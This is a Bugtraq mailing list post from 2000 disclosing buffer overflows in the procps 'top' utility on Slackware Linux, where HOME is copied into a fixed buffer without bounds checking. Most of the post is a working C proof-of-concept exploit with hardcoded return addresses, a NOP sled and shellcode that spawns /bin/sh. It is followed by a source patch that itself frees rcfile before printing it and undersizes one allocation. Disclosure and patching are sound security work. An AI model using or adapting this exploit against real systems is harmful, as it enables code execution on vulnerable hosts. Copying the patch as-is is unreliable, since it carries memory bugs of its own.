Bugtraq mailing list archives

[Fwd: Stack Overflow Vulnerability in procps's top]


From: Ben Lull <ben () valleylocal com>
Date: Tue, 15 Aug 2000 22:35:38 -0700

Ooops... forgot to attach the patch and proof of concept code.  Sorry
about that.
--- Begin Message --- From: Ben Lull <ben () valleylocal com>
Date: Tue, 15 Aug 2000 22:24:31 -0700
Description:

            The utility top, included with the procps package in
Slackware Linux, contains multiple buffer
            overruns.  Although the top utility is not sXid by default,
it is still a problem.  Through security comes
            stability, and by creating secure applications, you will in
turn, create stable applications.  The overflows
            occur in two different places.  When a call to strcpy() is
made, it copies the environmental variable
            HOME into the buffer rcfile[1024] without bounds checking.


Reproduction:

            Included with this post is proof of concept code (topoff.c)
for Slackware Linux 7.0.0 and 7.1.0.   Simply
            remove the comment in front of '#define RET' for the version
of Slackware which you are testing and
            compile.  When run, the result will be a execve()'ed
/bin/sh.  You can also verify that your version of top
            is vulnerable by setting the environment HOME to a string
greater then 1023 bytes.


Solution:

            A patch for the most current version of procps
(procps-2.0.6) is attached to this post.   Obtain
            procps-2.0.6 from any Slackware distribution site under the
source/a/procps/ directory.  Unpack
            procps-2.0.6.tar.gz and apply the included patch
(procps-2.0.6.patch).


Credits:

            I'd like to actually say thank you to my boss for not
getting on my case when I stray from my work to
            play with things such as this.


Notes:
            For reference, you can see all previous posts at
http://www.skunkware.org/security/advisories/


- Ben

************************
* Ben Lull                                *
* Valley Local Internet, Inc *
* Systems Administrator     *
************************


--- End Message ---
/*
 *
 * topoff.c (08/02/00)
 *
 * Live buffer overflow (stack smasher/breaker/etc..)
 * Exploits /usr/bin/top on Slackware 7.0.0 and 7.1.0.
 * Earlier version should also be assumed vulnerable.
 *
 * By: Ben Lull (blull () valleylocal com)
 *
 *
 *
 * <--- Begin my Little Babble --->
 * You know your bored when you go through utils like top
 * which don't have a sXid bit and spend the time generating
 * the shell code from scratch and all that fun stuff as
 * well as making the code pretty..
 *
 * Note:
 *  grep(1) is your friend... example usage:
 *    me@synchro~> grep -F -n "str" *.c
 *    me@synchro~> grep -F -n "get" *.c
 *    me@synchro~> grep -F -n "print" *.c
 *    me@synchro~> grep -n "\[\]" *.c | grep -F "char"
 *
 *
 *
 * Experienced working Offsets:
 *  (It's obvious, look at the code)
 *  BUFLEN - strlen(code) - EIP.
 *
 *  You should know this one.
 *  If you don't.. you shouldn't
 *  Have toys such as this.
 *
 *
 *
 * Exploit Occurs:
 *
 * top.h:
 *       50: #define MAXNAMELEN         1024
 *
 *
 * top.c:
 *       211: char rcfile[MAXNAMELEN];
 *
 *       223: if (getenv("HOME")) {
 *       224:   strcpy(rcfile, getenv("HOME"));
 *       225:   strcat(rcfile, "/");
 *       226: }
 *        .
 *        .
 *        .
 *      1495: if (getenv("HOME")) {
 *      1496:   strcpy(rcfile, getenv("HOME"));
 *
*/


#include <stdio.h>
#include <stdlib.h>

#define OFFSET                  0
#define BUFLEN                  1032

#define RET                     0xbffffb35   /* Slackware 7.1 */
//#define RET                     0xbffffafc /* Slackware 7.0 */

#define NOP                     0x90
#define TOP                     "/usr/bin/top"

char code[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\xc9\xc3"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90";



void usage(char *arg) {
  fprintf(stderr, "\nUsage: %s [offset up/down] [eip]\n\n", arg);
  fprintf(stderr, "Examples:\n");
  fprintf(stderr, "\t%s 347 up                 -=- Default EIP increased by 347 bytes\n", arg);
  fprintf(stderr, "\t%s 347 down               -=- Default EIP decreased by 347 bytes\n", arg);
  fprintf(stderr, "\t%s 429 up 0xbffffad8      -=- EIP set to 0xbffffad8 and increased by 429 bytes\n", arg);
  fprintf(stderr, "\t%s 429 down 0xbffffad8    -=- EIP set to 0xbffffad8 and decreased by 429 bytes\n\n", arg);
  exit(1);
}


int main(int argc, char *argv[]) {
  char *buf, *p;
  long *addressp, address;
  int offset=OFFSET;
  int i;


  if((argc < 3) || (argc > 4))
    usage(argv[0]);

  if(argc == 3) {
    if(!strcmp(argv[2], "up")) {
      address = RET + atoi(argv[1]);
      printf("Increasing offset by: %d\n", atoi(argv[1]));
      printf("Increasing EIP to: 0x%x\n\n", RET + atoi(argv[1]));
    }

    if(!strcmp(argv[2], "down")) {
      address = RET - atoi(argv[1]);
      printf("Decreasing offset by: %d\n", atoi(argv[1]));
      printf("Decreasing EIP to: 0x%x\n\n", RET - atoi(argv[1]));
    }
  }

  if(argc >= 4) {
    if(!strcmp(argv[2], "up")) {
      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
      printf("Increasing offset by: %d\n", atoi(argv[1]));
      printf("Increasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) + atoi(argv[1])));
    }
    if(!strcmp(argv[2], "down")) {
      address = strtoul(argv[3], NULL, 16) + atoi(argv[1]);
      printf("Setting EIP to: 0x%x\n", strtoul(argv[3], NULL, 16));
      printf("Decreasing offset by: %d\n", atoi(argv[1]));
      printf("Decreasing EIP to: 0x%x\n\n", (strtoul(argv[3], NULL, 16) - atoi(argv[1])));
    }
  }


  if (!(buf = (char *)malloc(BUFLEN))) {
    printf("Can't allocate memory.\n");
    exit(-1);
  }

  p = buf;
  addressp = (long *) p;

  for (i = 0; i < BUFLEN; i+=4) {
    *(addressp++) = address;
  }

  for (i = 0; i < (BUFLEN - strlen(code) - 4); i++) {
    buf[i] = NOP;
  }

  p = buf + (BUFLEN - strlen(code) - 4);

  for (i = 0; i < strlen(code); i++)
    *(p++) = code[i];

  buf[BUFLEN] = '\0';


  /*
   * A nifty trick is to run /bin/sh -i and run top manualy.
   * This way you can figure out if your going the right way or not
   *
   * strace/gdb /usr/bin/top
   *
  */
  setenv("HOME", buf, 1);
  system(TOP);
}

--- top.c       Tue Aug 15 21:03:10 2000
+++ top.diff    Tue Aug 15 20:57:38 2000
@@ -225,20 +225,35 @@
 {
     FILE *fp;
     char *pt;
-    char rcfile[MAXNAMELEN];
+    char *rcfile;
     char Options[256] = "";

     header_lines = 7;
+
+    if(!(rcfile = (char *)malloc(strlen(SYS_TOPRC)*sizeof(char *)))) {
+      fprintf(stderr, "Unable to malloc()\n");
+      exit(1);
+    }
+
     strcpy(rcfile, SYS_TOPRC);
     fp = fopen(rcfile, "r");
+
     if (fp != NULL) {
        fgets(Options, 254, fp);
        fclose(fp);
     }
+
+    free(rcfile);
     parse_options(Options, 0);
     strcpy(Options, "");
+
     if (getenv("HOME")) {
-       strcpy(rcfile, getenv("HOME"));
+        if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+          fprintf(stderr, "Unable to malloc()\n");
+          exit(-1);
+        }
+
+       strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
        strcat(rcfile, "/");
     }
     strcat(rcfile, RCFILE);
@@ -252,6 +267,7 @@
        }
        fgets(Options, 254, fp);
        fclose(fp);
+        free(rcfile);
     }
     parse_options(Options, getuid()? Secure : 0);
 }
@@ -1381,7 +1397,7 @@
 void do_key(char c)
 {
     int numinput, i;
-    char rcfile[MAXNAMELEN];
+    char *rcfile;
     FILE *fp;

     /*
@@ -1583,7 +1599,13 @@
        break;
       case 'W':
        if (getenv("HOME")) {
-           strcpy(rcfile, getenv("HOME"));
+
+            if(!(rcfile = (char *)malloc((strlen(getenv("HOME")) + strlen(RCFILE) + 2)*sizeof(char *)))) {
+                fprintf(stderr, "Unable to malloc()\n");
+                exit(-1);
+            }
+
+           strncpy(rcfile, getenv("HOME"), strlen(getenv("HOME")) + 1);
            strcat(rcfile, "/");
            strcat(rcfile, RCFILE);
            fp = fopen(rcfile, "w");
@@ -1611,6 +1633,7 @@
                    fprintf(fp, "%c", 't');
                fprintf(fp, "\n");
                fclose(fp);
+                free(rcfile);
                SHOWMESSAGE(("Wrote configuration to %s", rcfile));
            } else {
                SHOWMESSAGE(("Couldn't open %s", rcfile));

Current thread: